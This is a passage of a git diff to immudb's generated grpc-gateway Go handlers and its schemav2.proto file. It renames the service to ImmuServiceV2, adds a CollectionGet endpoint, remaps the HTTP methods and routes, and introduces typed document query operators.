*http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -152,7 +152,7 @@ func request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runti } -func local_request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -169,7 +169,43 @@ func local_request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler } -func request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +var ( + filter_ImmuServiceV2_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} +) + +func request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionGetRequest + var metadata runtime.ServerMetadata + + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuServiceV2_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionGetRequest + var metadata runtime.ServerMetadata + + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionGet_0); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionGet(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionListRequest var metadata runtime.ServerMetadata @@ -186,7 +222,7 @@ func request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime } -func local_request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionListRequest var metadata runtime.ServerMetadata @@ -203,15 +239,18 @@ func local_request_ImmuService_CollectionList_0(ctx context.Context, marshaler r } -func request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +var ( + filter_ImmuServiceV2_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} +) + +func request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -220,15 +259,14 @@ func request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runti } -func local_request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuServiceV2_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } @@ -237,13 +275,13 @@ func local_request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler } -// RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to "mux". -// UnaryRPC :call ImmuServiceServer directly. +// RegisterImmuServiceV2HandlerServer registers the http handlers for service ImmuServiceV2 to "mux". +// UnaryRPC :call ImmuServiceV2Server directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. -// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceHandlerFromEndpoint instead. -func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceServer) error { +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceV2HandlerFromEndpoint instead. +func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceV2Server) error { - mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -254,7 +292,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_Login_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -262,11 +300,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -277,7 +315,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -285,11 +323,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -300,7 +338,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -308,11 +346,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -323,7 +361,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -331,11 +369,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -346,7 +384,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -354,11 +392,11 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -369,7 +407,7 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -377,16 +415,39 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux return } - forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } -// RegisterImmuServiceHandlerFromEndpoint is same as RegisterImmuServiceHandler but +// RegisterImmuServiceV2HandlerFromEndpoint is same as RegisterImmuServiceV2Handler but // automatically dials to "endpoint" and closes the connection when "ctx" gets done. -func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { +func RegisterImmuServiceV2HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { conn, err := grpc.Dial(endpoint, opts...) if err != nil { return err @@ -406,23 +467,23 @@ func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.Se }() }() - return RegisterImmuServiceHandler(ctx, mux, conn) + return RegisterImmuServiceV2Handler(ctx, mux, conn) } -// RegisterImmuServiceHandler registers the http handlers for service ImmuService to "mux". +// RegisterImmuServiceV2Handler registers the http handlers for service ImmuServiceV2 to "mux". // The handlers forward requests to the grpc endpoint over "conn". -func RegisterImmuServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { - return RegisterImmuServiceHandlerClient(ctx, mux, NewImmuServiceClient(conn)) +func RegisterImmuServiceV2Handler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterImmuServiceV2HandlerClient(ctx, mux, NewImmuServiceV2Client(conn)) } -// RegisterImmuServiceHandlerClient registers the http handlers for service ImmuService -// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceClient". -// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceClient" +// RegisterImmuServiceV2HandlerClient registers the http handlers for service ImmuServiceV2 +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceV2Client". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceV2Client" // doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in -// "ImmuServiceClient" to call the correct interceptors. -func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceClient) error { +// "ImmuServiceV2Client" to call the correct interceptors. +func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceV2Client) error { - mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -431,18 +492,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_Login_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -451,18 +512,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -471,18 +532,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -491,18 +552,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -511,18 +572,18 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -531,14 +592,34 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -546,29 +627,33 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux } var ( - pattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "system", "login"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_LoginV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"system", "login"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentInsert"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentSearch"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionCreate"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionList"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionDelete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "list"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuServiceV2_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( - forward_ImmuService_Login_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_LoginV2_0 = runtime.ForwardResponseMessage + + forward_ImmuServiceV2_DocumentInsert_0 = runtime.ForwardResponseMessage - forward_ImmuService_DocumentInsert_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_DocumentSearch_0 = runtime.ForwardResponseMessage - forward_ImmuService_DocumentSearch_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionCreate_0 = runtime.ForwardResponseMessage - forward_ImmuService_CollectionCreate_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionGet_0 = runtime.ForwardResponseMessage - forward_ImmuService_CollectionList_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionList_0 = runtime.ForwardResponseMessage - forward_ImmuService_CollectionDelete_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionDelete_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/schemav2/schemav2.proto b/pkg/api/schemav2/schemav2.proto index c076393203..493b8da26b 100644 --- a/pkg/api/schemav2/schemav2.proto +++ b/pkg/api/schemav2/schemav2.proto @@ -10,6 +10,7 @@ import "protoc-gen-swagger/options/annotations.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/schemav2"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + base_path: "/api/v2", info: { title: "immudb REST API v2"; description: "" @@ -37,9 +38,26 @@ message DocumentInsertRequest { repeated google.protobuf.Struct document = 2; } + +enum QueryOperator { + EQ = 0; + GT = 1; + GTE = 2; + LT = 3; + LTE = 4; + LIKE = 5; +} + +message DocumentQuery { + string field = 1; + QueryOperator operator = 2; + google.protobuf.Value value = 3; +} + + message DocumentSearchRequest { string collection = 1; - map query = 2; + repeated DocumentQuery query = 2; uint32 page = 3; uint32 perPage = 4; } @@ -55,37 +73,34 @@ message LoginRequest { string username = 1; string password = 2; string database = 3; - bool writeAccess = 4; } -message LoginResponse { +message LoginResponseV2 { string token = 1; + int32 expirationTimestamp = 2; + } -message PossibleIndexValue { - // The kind of value. - oneof kind { - // Represents a double value. - double number_value = 1; - // Represents a string value. - string string_value = 2; - // Represents a boolean value. - bool bool_value = 3; 